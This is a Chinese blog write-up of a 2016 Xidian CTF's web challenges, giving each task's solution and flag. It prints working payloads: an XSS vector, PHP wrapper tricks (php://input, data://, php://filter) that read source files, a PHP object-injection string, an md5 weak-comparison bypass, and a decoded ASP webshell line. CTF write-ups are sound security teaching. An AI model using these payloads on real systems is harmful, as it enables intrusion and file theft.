0x01 签到题

思路:相信会用微信的你都会解决这道题:)

感谢关注humensec,胡门网络为您精诚服务!
本次CTF竞技赛flag提交格式为:flag_Xd{hSh_ctf:TheKeyYouGet}
本题flag:flag_Xd{hSh_ctf:WelcomeTo2016XiDian&HumenHS}


0x02 打不过~

思路:先F12检查submit代码,讲disable改为type="submit",然后输入admin点击提交,同时在浏览器 network下查看返回包头部分(或者burp抓包):
QQ截图20160910201442.png
QQ截图20160910201527.png

base64解密str得到32位,解密md5得到1931b,再次提交得到flag:
flag is:flag_Xd{hSh_ctf:XD_aA@lvmM}


0x03 简单js

思路:F12查看源代码,得到js内容:


    document.oncontextmenu=function(){return false};

    var a,b,c,d,e,f,g;
    a = 1.2;
    b = a * 5;
    c = a + b;
    d = c / b + a;
    e = c - d * b + a;
    f = e + d /c -b * a;
    g = f * e - d + c * b + a;
    a = g * g;
    a = Math.floor(a);

    function check(){
        if(document.getElementById("txt").value==a){
            return true;
        }else{
            alert("密码错误");
            return false;
        }
    }

到这里就有两种方法了,一是直接在Firebug里面查看DOM,它会直接表示出所有的参数值,提交a参数值即可得到flag;
二是利用浏览器本身的Console(控制台)把js代码拖进去直接get到的结果即为key值。提交可得到flag:
QQ截图20160910202700.png
QQ截图20160910202725.png


0x04 弹弹弹

思路:进去看到title为XSS原理,看来是考XSS的了,这里我直接利用Burp抓包,然后在intruder里面利用Burp自带的XSS Fuzzing进行快速fuzz,在Payload为:<DIV STYLE="width: expression(alert('XSS'));"> 时,得到flag如图:
QQ截图20160910203241.png
QQ截图20160910091444.png


0x05 233

思路:看着名字就是个脑洞题。右键查看源代码看到了熟悉的js escape,由于js量是在太大了,不好拖动复制,索性直接Ctrl+A Ctrl+C 然后放到Sublime里面删掉其余部分,然后将js escape部分拿到Firefox Console里面Enter下:
QQ截图20160910203940.png
看到弹出了熟悉的一句话“加密”的方式。┼攠數畣整爠煥敵瑳∨䁥祳ぴ㍧≴┩>,先保存到txt文件里面,这里要注意保存的时候选择编码方式为Unicode,不然会出错。然后用utf-8 tool工具转换下,得到明文一句话铮?% execute request("e@syt0g3t")%>,提示的flag形式为flag形式:flag_Xd{hSh_ctf:一句话密码} 最后得到flag为:
flag_Xd{hSh_ctf:e@syt0g3t}


0x06 php很烦人

思路:右键查看源代码:

you are not admin ! 
<!--
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];

if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){
    echo "hello admin!<br>";
    include($file); //class.php
}else{
    echo "you are not admin ! ";
}
 -->

算是一道php审计题吧,先要加入user参数,而且要满足最后得到的user参数结果为 “the user is admin”,这里我介绍两种方法:
一是利用php伪协议:/index.php?user=php://input ,同时利用Hackbar发送post数据为 the user is admin ,如图:
QQ截图20160910205343.png
二是理由data协议:/?user=data://text/plain;base64,dGhlIHVzZXIgaXMgYWRtaW4= 。即将the user is admin 用base64的方式传入服务器。

然后是看到helle admin! 到这个时候,file参数可以包含class.php文件,pass参数还不知道,这时,同样利用php伪协议来查看class.php源码,payload如下:http://huashan.xdsec.cn/php/?user=data://text/plain;base64,dGhlIHVzZXIgaXMgYWRtaW4=&file=php://filter/convert.base64-encode/resource=class.php,get到源码如下:

<?php

class Read{//f1a9.php
    public $file;
    public function __toString(){
        if(isset($this->file)){
            echo file_get_contents($this->file);    
        }
        return "__toString was called!";
    }
}
?>

然后构造出pass参数以获取flag,payload如下
http://huashan.xdsec.cn/php/?user=data://text/plain;base64,dGhlIHVzZXIgaXMgYWRtaW4=&file=class.php&pass=O:4:"Read":1:{s:4:"file";s:10:"./f1a9.php";}

成功get到flag:
QQ截图20160910210152.png


0x07 系统管理

思路:这里考察了php弱类型比较+php序列化与反序列化。 右键查看源代码,看到注释部分:

<!-- $test=$_POST['username']; $test=md5($test); if($test=='0') -->

为了能够满足注释部分的条件,需要让md5($test)的开头为0e, 如's1091221200a',以此为用户名登录看到了user.php,:
QQ截图20160910210735.png
访问user.php得到了php源码如下:

$unserialize_str = $_POST['password']; 
$data_unserialize = unserialize($unserialize_str);
if($data_unserialize['user'] == '???' && $data_unserialize['pass']=='???') {
 print_r($flag); 
}

根据这里反序列化得到password=a:2:{s:4:"user";b:1;s:4:"pass";b:1;} ,然后以此为密码,配合上面的弱类型用户名登录系统可得到flag:
QQ截图20160910211131.png


ps:技术太菜,剩下4道题没有做出来啦!之后看了官方wp后我会同步到这里。

出自0h1in9e's Blog